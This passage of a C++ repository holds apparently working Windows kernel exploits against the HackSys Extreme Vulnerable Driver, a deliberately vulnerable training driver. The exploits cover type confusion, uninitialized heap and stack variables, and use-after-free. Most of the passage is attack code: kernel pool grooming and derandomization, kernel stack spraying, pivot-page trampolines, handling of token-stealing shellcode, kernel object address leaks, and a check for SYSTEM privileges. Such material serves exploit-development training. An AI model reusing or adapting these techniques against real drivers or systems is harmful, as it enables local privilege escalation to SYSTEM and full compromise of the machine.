NumaAware: 1; 28 | ULONG ProtectedProcess: 1; 29 | ULONG DefaultPagePriority: 3; 30 | ULONG PrimaryTokenFrozen: 1; 31 | ULONG ProcessVerifierTarget: 1; 32 | ULONG StackRandomizationDisabled: 1; 33 | ULONG AffinityPermanent: 1; 34 | ULONG AffinityUpdateEnable: 1; 35 | ULONG PropagateNode: 1; 36 | ULONG ExplicitAffinity: 1; 37 | }; 38 | }; 39 | UCHAR NotNeeded2[0x50]; 40 | } EPROCESS, *PEPROCESS; 41 | 42 | 43 | typedef NTSTATUS (WINAPI *typeZwClose)( 44 | IN HANDLE hObject 45 | ); 46 | 47 | typedef PEPROCESS (WINAPI *typePsGetCurrentProcess)(); 48 | 49 | typedef PACCESS_TOKEN (WINAPI *typePsReferencePrimaryToken)(IN OUT PVOID Process); 50 | 51 | typedef NTSTATUS (WINAPI *typeZwOpenProcessToken)( 52 | IN HANDLE ProcessHandle, 53 | IN ACCESS_MASK DesiredAccess, 54 | OUT PHANDLE TokenHandle 55 | ); 56 | 57 | typedef NTSTATUS (WINAPI *typeZwSetInformationProcess)( 58 | IN HANDLE hProcess, 59 | IN ULONG ProcessInfoClass, 60 | IN PVOID ProcessInfo, 61 | IN ULONG ProcessInfoLength); 62 | 63 | typedef NTSTATUS (WINAPI *typeZwOpenProcess)( 64 | OUT PHANDLE ProcessHandle, 65 | IN ACCESS_MASK DesiredAccess, 66 | IN POBJECT_ATTRIBUTES ObjectAttributes, 67 | IN PCLIENT_ID ClientId OPTIONAL 68 | ); 69 | 70 | typedef NTSTATUS (WINAPI *typePsLookupProcessByProcessId)( 71 | IN HANDLE ProcessId, 72 | OUT PVOID Process 73 | ); 74 | 75 | typedef NTSTATUS (WINAPI *typeObDerefenceObject)( 76 | IN PVOID Object 77 | ); 78 | 79 | typedef NTSTATUS (WINAPI *typeZwDuplicateToken)( 80 | IN HANDLE ExistingTokenHandle, 81 | IN ACCESS_MASK DesiredAccess, 82 | IN POBJECT_ATTRIBUTES ObjectAttributes, 83 | IN BOOLEAN EffectiveOnly, 84 | IN TOKEN_TYPE TokenType, 85 | OUT PHANDLE NewTokenHandle 86 | ); 87 | 88 | typedef NTSTATUS (WINAPI *typeZwTerminateProcess)( 89 | IN HANDLE ProcessHandle, 90 | IN NTSTATUS ExitStatus 91 | ); 92 | 93 | 94 | class ExploitStackOverflowGS : public IExploit { 95 | static constexpr wchar_t *Exploit_Name = L"Stack Overflow GS"; 96 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS; 97 | 98 | public: 99 | ExploitStackOverflowGS(Driver& driver) : IExploit(driver) {} 100 | virtual ~ExploitStackOverflowGS() {} 101 | 102 | virtual const wchar_t* getName() const { 103 | return ExploitStackOverflowGS::Exploit_Name; 104 | }; 105 | 106 | virtual DWORD getIoctlCode() const { 107 | return ExploitStackOverflowGS::Ioctl_Code; 108 | } 109 | 110 | virtual bool exploit(); 111 | 112 | bool resolveKernelApis(); 113 | static NTSTATUS ElevatePrivilegesPayload(); 114 | }; 115 | -------------------------------------------------------------------------------- /TypeConfusion.cpp: -------------------------------------------------------------------------------- 1 | #include "TypeConfusion.h" 2 | 3 | bool 4 | ExploitTypeConfusion::exploit() { 5 | 6 | struct TypeConfusionObject { 7 | DWORD unknown; 8 | void *callback; 9 | }; 10 | 11 | auto shellcodePointer = adjustPayloadEpilogue(0, true); 12 | 13 | TypeConfusionObject object = { 14 | 0, 15 | *shellcodePointer 16 | }; 17 | 18 | driver.SendIOCTL ( 19 | ExploitTypeConfusion::Ioctl_Code, 20 | &object, 21 | sizeof(object) 22 | ); 23 | 24 | // We return true here, as the driver's SEH will catch the exception 25 | // anyway, no matter the fact that our kernel shellcode has been launched 26 | // already. 27 | return true; 28 | } 29 | -------------------------------------------------------------------------------- /TypeConfusion.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | class ExploitTypeConfusion : public IExploit { 8 | static constexpr wchar_t *Exploit_Name = L"Type Confusion"; 9 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_TYPE_CONFUSION; 10 | 11 | public: 12 | ExploitTypeConfusion(Driver& driver) : IExploit(driver) {} 13 | virtual ~ExploitTypeConfusion() { } 14 | 15 | virtual const wchar_t* getName() const { 16 | return ExploitTypeConfusion::Exploit_Name; 17 | }; 18 | 19 | virtual DWORD getIoctlCode() const { 20 | return ExploitTypeConfusion::Ioctl_Code; 21 | } 22 | 23 | virtual bool exploit(); 24 | 25 | private: 26 | 27 | }; 28 | -------------------------------------------------------------------------------- /UninitializedHeapVariable.cpp: -------------------------------------------------------------------------------- 1 | #include "UninitializedHeapVariable.h" 2 | 3 | bool 4 | ExploitUninitializedHeapVariable::exploit() { 5 | 6 | // This object's size is: 0xF0 (240) bytes 7 | struct UninitializedHeapVariableObject { 8 | DWORD unknown; 9 | void *callback; 10 | char fill[232]; 11 | }; 12 | 13 | UninitializedHeapVariableObject obj; 14 | memset(&obj, 0, sizeof(obj)); 15 | 16 | obj.unknown = 0xDEADBABE; 17 | 18 | // Step 1: 19 | // We have to wait for the Kernel Pool lookaside lists to initialize, 20 | // what occurs after two minutes since system boot. 21 | wcout << L"[+] Step 1: Assure that kernel pool lookaside lists are lazy-activated." << endl; 22 | 23 | /* Step 2: 24 | by Ashfaq Ansari: 25 | Next stage of exploitation is to make sure that _KPRCB.PPPagedLookasideList[0x1E] 26 | ((((0xF0+0xF) >> 3) - 1) = 0x1E) is populated. 27 | 28 | If the payload address contains NULL, then the exploitation will fail. So, make sure 29 | there is no NULL in the payload address. 30 | */ 31 | wcout << L"[+] Step 2: Populating _KPRCB.PPPagedLookasideList[0x1e] ..." << endl; 32 | 33 | const PVOID payload = tokenStealingPayloadRealPointer; 34 | if(!populateLookasideList(payload) ) { 35 | return false; 36 | } 37 | 38 | /* Step 3: 39 | Now that the PagedPool is groomed (allocated contiguosly with every 8th chunk having a hole 40 | of size 0xF0 - the very next PagedPool allocation shall be yielded from Lookaside List for 41 | block size of 0x1E, thus returning our pre-crafted object! 42 | */ 43 | wcout << L"[+] Step 3: Let's hope, the next allocation takes off from lookaside!" << endl; 44 | 45 | bool ret = driver.SendIOCTL ( 46 | ExploitUninitializedHeapVariable::Ioctl_Code, 47 | &obj, 48 | sizeof(obj) 49 | ); 50 | 51 | return ret; 52 | } 53 | 54 | void 55 | ExploitUninitializedHeapVariable::waitForLookasideLists() { 56 | 57 | static const ULONG Two_Minutes_Ticks = 2 * 60 * 10000 + 100; 58 | const ULONG ticks1 = GetTickCount(); 59 | 60 | if (ticks1 > Two_Minutes_Ticks) { 61 | return; 62 | } 63 | else { 64 | const ULONG diff = Two_Minutes_Ticks - ticks1; 65 | wcout << L"[.] Have to wait " << diff / 1000 << L" seconds for Kernel pools Lookaside lists to activate." 66 | << endl; 67 | 68 | Sleep(diff); 69 | } 70 | } 71 | 72 | bool 73 | ExploitUninitializedHeapVariable::populateLookasideList(PVOID payload) { 74 | 75 | ULONG pivotAddress = mapUnicodePivotPage(payload); 76 | if(!pivotAddress) { 77 | return false; 78 | } 79 | 80 | /* 81 | by Ashfaq Ansari: 82 | We know that each bucket in LookAsideList can not hold more than 256 free chunks. 83 | 84 | As we are dealing with Named Objects, one of the caveat is, if same static string 85 | is passed to consecutive calls to Object constructor as Object Name, then only one 86 | Pool chunk will be served for all the requests. This will not allow us to populate 87 | LookAsideList and the exploitation will fail. 88 | 89 | To overcome this issue, we need to make sure that the string is random for each call 90 | to Object constructor. 91 | 92 | So, to populate the LookAsideList, allocate 256 objects of same size and then free them. 93 | */ 94 | 95 | shared_ptr eventObjects( 96 | new HANDLE[Max_Chunks_In_Lookaside_List_Bucket], 97 | 98 | [](HANDLE *ptr) { 99 | for(size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i++) { 100 | HANDLE obj = ptr[i]; 101 | if(obj != reinterpret_cast(0)) { 102 | CloseHandle(obj); 103 | } 104 | } 105 | 106 | delete [] ptr; 107 | } 108 | ); 109 | 110 | if(!eventObjects) { 111 | throw bad_alloc(); 112 | } 113 | 114 | HANDLE *eventObjectsPtr = eventObjects.get(); 115 | 116 | wcout << L"\t[+] Allocating " << dec << Max_Chunks_In_Lookaside_List_Bucket 117 | << L" PagedPool chunks via CreateEventW" << endl; 118 | 119 | for(size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i++) { 120 | 121 | // Random event name generation 122 | unsigned char name[Max_Object_Name_Length] = {0}; 123 | 124 | for(size_t j = 0; j < Max_Object_Name_Length - 4; j++) { 125 | name[j] = random('A', 'Z'); 126 | } 127 | 128 | // fix the shellcode trampoline: 129 | name[4] = (pivotAddress & 0xFF); 130 | name[5] = (pivotAddress & 0xFF00) >> 8; 131 | name[6] = (pivotAddress & 0xFF0000) >> 16; 132 | name[7] = (pivotAddress >> 24); 133 | 134 | /* 135 | The allocated chunk for the event's name will contain the following data: 136 | Chunk+0x00: WW XX YY ZZ AA BB CC DD EE FF GG HH II JJ... 137 | 138 | Where : 139 | XX YY - are the first two bytes of the event's name 140 | AA BB CC DD EE FF - are the consecutive bytes from the event's name 141 | 142 | Event's name: 143 | \xXX\xYY\xAA\xBB\xCC\xDD\xEE\xFF - where AA,BB,CC are not values, but rather "unknowns". 144 | 145 | The first four bytes will not be interesting for us, those are: 146 | WW XX YY ZZ, 147 | (by the way, they will got clobbered - and then zero out - by SLINK_ENTRY.Flink after 148 | putting the chunk into lookaside list for 0x1e bucket) but rather the following four bytes: 149 | AA BB CC DD 150 | will be essential, since they will constitute register-indirect call: 151 | call [eax + 4] ; call into 0xAABBCCDD 152 | 153 | There will be placed our PIVOT page with the trampoline leading into kernel shellcode. 154 | */ 155 | 156 | eventObjectsPtr[i] = CreateEventW( 157 | nullptr, 158 | false, 159 | false, 160 | 161 | // We have constructed an ASCII string buffer, but pretend it is UNICODE - to avoid 162 | // destructible null-padding conversion. 163 | reinterpret_cast(name) 164 | ); 165 | 166 | if(!eventObjectsPtr[i]) { 167 | wcout << L"[!] Could not create event! Error: " << GetLastError() << endl; 168 | return false; 169 | } 170 | } 171 | 172 | wcout << L"\t[+] Kernel PagedPool grooming by freeing every 8th chunk" << endl; 173 | 174 | for( size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i += 1 ) { 175 | CloseHandle(eventObjectsPtr[i]); 176 | eventObjectsPtr[i] = static_cast(0); 177 | } 178 | 179 | return true; 180 | } 181 | 182 | ULONG 183 | ExploitUninitializedHeapVariable::mapUnicodePivotPage(PVOID payload) { 184 | NTSTATUS stat; 185 | ULONG pivotAddress; 186 | PVOID baseAddress = NULL; 187 | bool mapped = false; 188 | ULONG regionSize = 0x1000; 189 | 190 | typeNtAllocateVirtualMemory NtAllocateVirtualMemory; 191 | NtAllocateVirtualMemory = reinterpret_cast(GetProcAddress( 192 | GetModuleHandleW(L"ntdll.dll"), 193 | "NtAllocateVirtualMemory" 194 | )); 195 | 196 | static const size_t Max_Attempts = (1 << 15) - 1; 197 | size_t attempt = 0; 198 | 199 | while(!mapped && attempt++ < Max_Attempts) { 200 | 201 | // random pivot page address, form of: 0x00xx00yy 202 | pivotAddress = random(0x41, 0x4f); 203 | pivotAddress |= random(0x31, 0x3f) << 8; 204 | pivotAddress |= random(0x21, 0x2f) << 16; 205 | pivotAddress |= random(0x11, 0x1f) << 24; 206 | 207 | baseAddress = reinterpret_cast(pivotAddress); 208 | 209 | stat = NtAllocateVirtualMemory ( 210 | reinterpret_cast(0xffffffff), 211 | &baseAddress, 212 | 0, 213 | ®ionSize, 214 | MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 215 | PAGE_EXECUTE_READWRITE 216 | ); 217 | 218 | if(NT_SUCCESS(stat)) { 219 | mapped = true; 220 | break; 221 | } 222 | } 223 | 224 | if (!mapped) { 225 | wcout << L"[!] Could not allocate suitable low-address page, addr: " 226 | << hex << setw(8) << setfill(L'0') << pivotAddress << L"!" << endl; 227 | wcout << L"\tAttempts: " << dec << attempt << L", Status: " << hex << setw(8) << setfill(L'0') << stat << endl; 228 | return 0; 229 | } 230 | 231 | wcout << L"\t[+] Mapped Pivot page at address: " << hex << setw(8) 232 | << setfill(L'0') << baseAddress << endl; 233 | 234 | // Setting trampoline: 235 | // 68 AA BB CC DD PUSH kernel_shellcode_address 236 | // C3 RET 237 | unsigned char trampoline[] = { 238 | 0x68, 239 | 0xaa, 0xbb, 0xcc, 0xdd, 240 | 0xc3 241 | }; 242 | 243 | *(reinterpret_cast(&trampoline[1])) = reinterpret_cast(payload); 244 | 245 | wcout << L"\t[+] Setting trampoline at pivot page leading to: " << hex << setfill(L'0') << setw(8) 246 | << payload << endl; 247 | 248 | // copy the trampoline into pivot page 249 | memcpy ( 250 | reinterpret_cast(pivotAddress), 251 | trampoline, 252 | sizeof(trampoline) 253 | ); 254 | 255 | return pivotAddress; 256 | } 257 | -------------------------------------------------------------------------------- /UninitializedHeapVariable.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | 8 | class ExploitUninitializedHeapVariable : public IExploit { 9 | static constexpr wchar_t *Exploit_Name = L"Uninitialized Heap Variable"; 10 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE; 11 | 12 | static constexpr size_t Chunk_Size = 0xf0 + 8; // 8 for the _POOL_HEADER 13 | static constexpr size_t Max_Chunks_In_Lookaside_List_Bucket = 512; 14 | static constexpr size_t Max_Object_Name_Length = (Chunk_Size - 8); 15 | 16 | public: 17 | ExploitUninitializedHeapVariable(Driver& driver) : IExploit(driver) { 18 | srand(static_cast(time(nullptr))); 19 | } 20 | 21 | virtual ~ExploitUninitializedHeapVariable() { } 22 | 23 | virtual const wchar_t* getName() const { 24 | return ExploitUninitializedHeapVariable::Exploit_Name; 25 | }; 26 | 27 | virtual DWORD getIoctlCode() const { 28 | return ExploitUninitializedHeapVariable::Ioctl_Code; 29 | } 30 | 31 | virtual bool exploit(); 32 | 33 | private: 34 | void waitForLookasideLists(); 35 | bool populateLookasideList(PVOID payload); 36 | ULONG mapUnicodePivotPage(PVOID payload); 37 | }; 38 | -------------------------------------------------------------------------------- /UninitializedStackVariable.cpp: -------------------------------------------------------------------------------- 1 | #include "UninitializedStackVariable.h" 2 | 3 | bool 4 | ExploitUninitializedStackVariable::exploit() { 5 | 6 | static const size_t Buffer_Size = sizeof(ULONG_PTR) * 1024; 7 | static const size_t Callback_Variable_Offset = 3500; 8 | 9 | struct UninitializedStackVariableObject { 10 | DWORD unknown; 11 | // void *callback; 12 | }; 13 | 14 | UninitializedStackVariableObject obj; 15 | obj.unknown = 0xDEADBABE; 16 | 17 | HANDLE hDriver = driver.getRawDriverHandle(); 18 | DWORD writtenPtr; 19 | 20 | auto shellcodePointer = adjustPayloadEpilogue(0); 21 | unique_ptr kernelStackSpray(new char[Buffer_Size]); 22 | 23 | if(!kernelStackSpray) { 24 | wcerr << L"[!] Could not allocate 4096 bytes of heap memory for kernel stack spray buffer!" 25 | << endl; 26 | return false; 27 | } 28 | 29 | memset(kernelStackSpray.get(), 0x41, Buffer_Size); 30 | 31 | // Set the value for uninitialized object's Callback member: 32 | // Distance from the offset where the `Callback` is placed on the stack 33 | // to the top of stack is: 0x504. 34 | *(reinterpret_cast(&kernelStackSpray[Callback_Variable_Offset])) = 35 | reinterpret_cast(*shellcodePointer); 36 | 37 | wcout << L"[+] Spraying Kernel stack pages via nt!NtMapUserPhysicalPages..." << endl; 38 | wcout << L"\tSending IOCTL immediately right after to avoid stack clobbering." << endl; 39 | 40 | if(!ExploitUninitializedStackVariable::sprayKernelStackPages( 41 | kernelStackSpray.get(), 42 | Buffer_Size 43 | )) { 44 | wcerr << L"[!] Failed." << endl; 45 | return false; 46 | } 47 | 48 | // We have to call `DeviceIoControl` here manually in order to avoid unnecessary 49 | // kernel stack clobbering. 50 | BOOL ret = DeviceIoControl(hDriver, 51 | ExploitUninitializedStackVariable::Ioctl_Code, 52 | &obj, 53 | sizeof(obj), 54 | nullptr, 55 | 0, 56 | &writtenPtr, 57 | nullptr 58 | ); 59 | 60 | return ret; 61 | } 62 | 63 | bool 64 | ExploitUninitializedStackVariable::sprayKernelStackPages( 65 | void* buffer, 66 | size_t bufferSize 67 | ) { 68 | 69 | typeNtMapUserPhysicalPages NtMapUserPhysicalPages; 70 | NtMapUserPhysicalPages = reinterpret_cast(GetProcAddress( 71 | GetModuleHandleW(L"ntdll.dll"), 72 | "NtMapUserPhysicalPages" 73 | )); 74 | 75 | if(!NtMapUserPhysicalPages) { 76 | wcerr << L"[!] Could not locate ntdll!NtMapUserPhysicalPages" << endl; 77 | return false; 78 | } 79 | 80 | // Spraying Kernel stack memory pages via nt!NtMapUserPhysicalPages syscall as documented 81 | // by j00ru in his http://j00ru.vexillium.org/?p=769 82 | NTSTATUS stat = NtMapUserPhysicalPages ( 83 | nullptr, 84 | bufferSize / sizeof(ULONG_PTR), 85 | reinterpret_cast(buffer) 86 | ); 87 | 88 | // This is expected to have the NtMapUserPhysicalPages return STATUS_INVALID_PARAMERER_1 code. 89 | static const NTSTATUS Expected_Failure_Code = 0xC00000EF; 90 | 91 | if(!NT_SUCCESS(stat) && stat != Expected_Failure_Code) { 92 | wcerr << L"[!] Kernel Stack spraying failed! Error: 0x" << hex 93 | << setw(8) << setfill(L'0') << stat << endl; 94 | return false; 95 | } 96 | 97 | return true; 98 | } 99 | -------------------------------------------------------------------------------- /UninitializedStackVariable.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | class ExploitUninitializedStackVariable : public IExploit { 8 | static constexpr wchar_t *Exploit_Name = L"Uninitialized Stack Variable"; 9 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE; 10 | 11 | public: 12 | ExploitUninitializedStackVariable(Driver& driver) : IExploit(driver) {} 13 | virtual ~ExploitUninitializedStackVariable() { } 14 | 15 | virtual const wchar_t* getName() const { 16 | return ExploitUninitializedStackVariable::Exploit_Name; 17 | }; 18 | 19 | virtual DWORD getIoctlCode() const { 20 | return ExploitUninitializedStackVariable::Ioctl_Code; 21 | } 22 | 23 | virtual bool exploit(); 24 | 25 | static bool sprayKernelStackPages( 26 | void* buffer, 27 | size_t bufferSize 28 | ); 29 | 30 | }; 31 | -------------------------------------------------------------------------------- /UseAfterFree.cpp: -------------------------------------------------------------------------------- 1 | #include "UseAfterFree.h" 2 | 3 | bool 4 | ExploitUseAfterFree::exploit() { 5 | 6 | DWORD dummy = 0; 7 | 8 | struct FakeObject { 9 | void *callback; 10 | unsigned char buffer[0x54]; 11 | }; 12 | 13 | FakeObject obj; 14 | memset(&obj, 0x43, sizeof(obj)); 15 | obj.callback = tokenStealingPayloadRealPointer; 16 | 17 | m_handles.reset(new HANDLE[Max_Number_Of_Objects]); 18 | if(!m_handles) { 19 | throw bad_alloc(); 20 | } 21 | 22 | memset(m_handles.get(), 0xFF, sizeof(HANDLE) * Max_Number_Of_Objects); 23 | 24 | wcout << L"[+] Step 1: Derandomizing kernel NonPagedPool..." << endl; 25 | if(!derandomizePool()) { 26 | return false; 27 | } 28 | 29 | wcout << L"[+] Step 2: Allocate Use-After-Free vulnerable object..." << endl; 30 | bool ret = driver.SendIOCTLQuiet ( 31 | ExploitUseAfterFree::Ioctl_Code_Allocate, 32 | &dummy, 33 | sizeof(dummy) 34 | ); 35 | 36 | wcout << L"[+] Step 3: Free that just allocated object to introduce dangling-pointer" << endl; 37 | ret = driver.SendIOCTLQuiet ( 38 | ExploitUseAfterFree::Ioctl_Code_Free, 39 | &dummy, 40 | sizeof(dummy) 41 | ); 42 | 43 | wcout << L"[+] Step 4: Spraying fake objects in NonPagedPool..." << endl; 44 | for(size_t i = 0; i < (Max_Number_Of_Objects / 3); i++ ) { 45 | driver.SendIOCTLQuiet ( 46 | ExploitUseAfterFree::Ioctl_Code_Alloc_Fake_Object, 47 | &obj, 48 | sizeof(obj) 49 | ); 50 | } 51 | 52 | wcout << L"[+] Step 5: Triggering Use-After-Free..." << endl; 53 | ret = driver.SendIOCTL ( 54 | ExploitUseAfterFree::Ioctl_Code_Use, 55 | &dummy, 56 | sizeof(dummy) 57 | ); 58 | 59 | return ret; 60 | } 61 | 62 | bool 63 | ExploitUseAfterFree::derandomizePool() { 64 | 65 | typeNtAllocateReserveObject NtAllocateReserveObject; 66 | NtAllocateReserveObject = reinterpret_cast(GetProcAddress( 67 | GetModuleHandleW(L"ntdll.dll"), 68 | "NtAllocateReserveObject" 69 | )); 70 | 71 | if(!NtAllocateReserveObject) { 72 | wcout << L"[!] Could not find address of: `NtAllocateReserveObject` syscall. System version not supported." 73 | << endl; 74 | return false; 75 | } 76 | 77 | wcout << L"\t* Allocating " << dec << Max_Number_Of_Objects 78 | << L" IoCompletionReserve objects in NonPagedPool..." << endl; 79 | 80 | for(size_t i = 0; i < Max_Number_Of_Objects; i++ ) { 81 | NTSTATUS stat = NtAllocateReserveObject( 82 | &m_handles.get()[i], 83 | 0, 84 | IoCompletionReserve 85 | ); 86 | 87 | if(!NT_SUCCESS(stat)) { 88 | wcout << L"[!] " << dec << i << L". attempt to allocate IoCompletionReserve object failed." << endl 89 | << L"\tError: " << hex << setw(8) << setfill(L'0') << stat << endl; 90 | return false; 91 | } 92 | } 93 | 94 | wcout << L"\t* Freeing every second object out of " << dec 95 | << (Max_Number_Of_Objects / 2) 96 | << L" for purpose of pool grooming." << endl; 97 | 98 | for(size_t i = (Max_Number_Of_Objects / 2); 99 | i < (Max_Number_Of_Objects); 100 | i += 2 101 | ) { 102 | CloseHandle(m_handles.get()[i]); 103 | m_handles.get()[i] = INVALID_HANDLE_VALUE; 104 | } 105 | 106 | return true; 107 | } 108 | 109 | -------------------------------------------------------------------------------- /UseAfterFree.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | class ExploitUseAfterFree : public IExploit { 8 | 9 | static constexpr wchar_t *Exploit_Name = L"Use After Free"; 10 | 11 | static constexpr DWORD Ioctl_Code_Allocate = HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT; 12 | static constexpr DWORD Ioctl_Code_Use = HACKSYS_EVD_IOCTL_USE_UAF_OBJECT; 13 | static constexpr DWORD Ioctl_Code_Free = HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT; 14 | static constexpr DWORD Ioctl_Code_Alloc_Fake_Object = HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT; 15 | 16 | static constexpr size_t Max_Number_Of_Objects = 10000; 17 | 18 | unique_ptr m_handles; 19 | bool m_afterCleanup; 20 | 21 | public: 22 | ExploitUseAfterFree(Driver& driver) : IExploit(driver) { 23 | m_afterCleanup = false; 24 | } 25 | 26 | virtual ~ExploitUseAfterFree() { 27 | handlesCleanup(); 28 | } 29 | 30 | virtual const wchar_t* getName() const { 31 | return ExploitUseAfterFree::Exploit_Name; 32 | }; 33 | 34 | virtual DWORD getIoctlCode() const { 35 | return ExploitUseAfterFree::Ioctl_Code_Allocate; 36 | } 37 | 38 | virtual bool exploit(); 39 | 40 | private: 41 | 42 | bool derandomizePool(); 43 | 44 | void handlesCleanup() { 45 | if(!m_afterCleanup && m_handles.get() != nullptr) { 46 | for(size_t i = 0; i < Max_Number_Of_Objects; i++) { 47 | if(m_handles.get()[i] != INVALID_HANDLE_VALUE) { 48 | CloseHandle(m_handles.get()[i]); 49 | } 50 | } 51 | 52 | m_afterCleanup = true; 53 | } 54 | } 55 | }; 56 | -------------------------------------------------------------------------------- /common.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | 4 | bool 5 | checkExploitSuccess(bool quiet) { 6 | wchar_t userName[256 + 1] = {0}; 7 | DWORD userNameSize = sizeof(userName); 8 | 9 | if (GetUserNameW(userName, &userNameSize)) { 10 | if(!quiet) { 11 | wcout << L"[.] Exploit success check: Current user: (" << userName 12 | << L"), expected: (SYSTEM)" << endl; 13 | } 14 | 15 | return wstring(userName) == wstring(L"SYSTEM"); 16 | } 17 | 18 | return false; 19 | } 20 | 21 | 22 | shared_ptr allocatePayloadInReadWrite() 23 | { 24 | static const size_t Shellcode_Size = 256; 25 | 26 | shared_ptr customPayload( new PUCHAR(reinterpret_cast( 27 | VirtualAlloc ( 28 | (LPVOID)0, 29 | Shellcode_Size, 30 | MEM_COMMIT | MEM_RESERVE, 31 | PAGE_EXECUTE_READWRITE 32 | ))), 33 | [](PUCHAR *ptr) { 34 | if (*ptr != nullptr) { 35 | wcout << L"[.] Freeing memory allocated for the kernel payload." << endl; 36 | VirtualFree(*ptr, MEM_DECOMMIT, Shellcode_Size); 37 | delete ptr; 38 | } 39 | }); 40 | 41 | if(!customPayload) { 42 | wcerr << L"[!] Could not allocate memory for the kernel payload!" << endl; 43 | throw std::bad_alloc(); 44 | } 45 | 46 | PUCHAR customPayloadPtr = reinterpret_cast(*customPayload); 47 | 48 | memset(customPayloadPtr, 0, Shellcode_Size); 49 | memcpy(customPayloadPtr, tokenStealingPayloadRealPointer, tokenStealingPayloadSize); 50 | 51 | wcout << L"[.] Custom kernel shellcode will now be located at: 0x" 52 | << hex << setw(8) << setfill(L'0') << customPayloadPtr << endl; 53 | 54 | return customPayload; 55 | } 56 | 57 | 58 | shared_ptr adjustPayloadEpilogue(UCHAR retNumber, bool addPopEbp) 59 | { 60 | static const unsigned char Shellcode_Epilogue_Signature[] = { 61 | 0x61, 0x31, 0xc0, 0x90, 0xc3, 0x90, 0x90 62 | }; 63 | 64 | auto customPayload = allocatePayloadInReadWrite(); 65 | if(!customPayload) { 66 | throw std::bad_alloc(); 67 | } 68 | 69 | PUCHAR customPayloadPtr = reinterpret_cast(*customPayload); 70 | const PUCHAR tokenStealingPayloadPtr = reinterpret_cast(tokenStealingPayloadRealPointer); 71 | 72 | for(size_t i = 0, pos = tokenStealingPayloadSize - sizeof(Shellcode_Epilogue_Signature); 73 | pos < tokenStealingPayloadSize && i < sizeof(Shellcode_Epilogue_Signature); 74 | pos++, i++ 75 | ) { 76 | if (customPayloadPtr[pos] != tokenStealingPayloadPtr[pos]) { 77 | wcerr << L"[!] Could not find the kernel shellcode's epilogue!" << endl; 78 | throw std::bad_alloc(); 79 | } 80 | } 81 | 82 | const size_t retBytePos = tokenStealingPayloadSize - sizeof(Shellcode_Epilogue_Signature) + 4; 83 | 84 | if (retNumber != 0) { 85 | wcout << L"[.] Adjusting the kernel payload to make it ret 0x" 86 | << hex << setw(2) << setfill(L'0') << retNumber << endl; 87 | 88 | customPayloadPtr[retBytePos + 0] = 0xc2; 89 | customPayloadPtr[retBytePos + 1] = retNumber; 90 | customPayloadPtr[retBytePos + 2] = 0x00; 91 | } 92 | 93 | if (addPopEbp) { 94 | customPayloadPtr[retBytePos - 1] = 0x5d; 95 | } 96 | 97 | return customPayload; 98 | } 99 | 100 | 101 | /* 102 | * Function performing Objects addresses leakage through usage of NtQuerySystemInformation 103 | * with SystemHandleInformation class. Not available since Windows 8 on Low Integrity level. 104 | **/ 105 | bool leakCurrentProcessObjectsAddresses(std::map &objectsMap) { 106 | 107 | SYSTEM_HANDLE_INFORMATION systemHandles; 108 | DWORD bytesRet = 0; 109 | 110 | NTSTATUS status = NtQuerySystemInformation( 111 | SystemHandleInformation, 112 | &systemHandles, 113 | sizeof(SYSTEM_HANDLE_INFORMATION), 114 | &bytesRet 115 | ); 116 | 117 | unique_ptr handleInformation( 118 | new BYTE[bytesRet] 119 | ); 120 | 121 | status = NtQuerySystemInformation( 122 | SystemHandleInformation, 123 | handleInformation.get(), 124 | bytesRet, 125 | &bytesRet 126 | ); 127 | 128 | if(!NT_SUCCESS(status)) { 129 | wcerr << L"[!] Could not obtain list of system handles! Status: 0x" 130 | << hex << setfill(L'0') << setw(8) << status << endl; 131 | return false; 132 | } 133 | 134 | PSYSTEM_HANDLE_INFORMATION handleInfo = reinterpret_cast( 135 | handleInformation.get() 136 | ); 137 | PSYSTEM_HANDLE_ENTRY currentHandle = &handleInfo->Handle[0]; 138 | 139 | // PID of the process whose objects we shall collect. 140 | DWORD currentProcessID = GetCurrentProcessId(); 141 | 142 | for( size_t i = 0; i < handleInfo->Count; currentHandle++, i++) { 143 | if (currentHandle->OwnerPid == currentProcessID) { 144 | HANDLE objHandle = reinterpret_cast(currentHandle->HandleValue); 145 | objectsMap[objHandle] = currentHandle->ObjectPointer; 146 | } 147 | } 148 | 149 | return true; 150 | } 151 | 152 | DWORD spawnProcessAndGetPID(const wstring& command) 153 | { 154 | STARTUPINFOW startupInfo = {0}; 155 | PROCESS_INFORMATION procInfo = {0}; 156 | 157 | startupInfo.cb = sizeof(startupInfo); 158 | 159 | HWND hCurWnd = GetForegroundWindow(); 160 | 161 | wcout << L"[+] Spawning process: (" << command << L")" << endl; 162 | if(!CreateProcessW( 163 | command.c_str(), 164 | nullptr, 165 | nullptr, 166 | nullptr, 167 | false, 168 | CREATE_NEW_CONSOLE, 169 | nullptr, 170 | nullptr, 171 | &startupInfo, 172 | &procInfo 173 | )) { 174 | wcerr << L"[!] Could not spawn process (" << command << L"). Error: " 175 | << getErrorString(GetLastError()) << endl; 176 | return 0; 177 | 178 | } 179 | 180 | SetForegroundWindow(hCurWnd); 181 | 182 | CloseHandle(procInfo.hThread); 183 | CloseHandle(procInfo.hProcess); 184 | 185 | return procInfo.dwProcessId; 186 | } 187 | 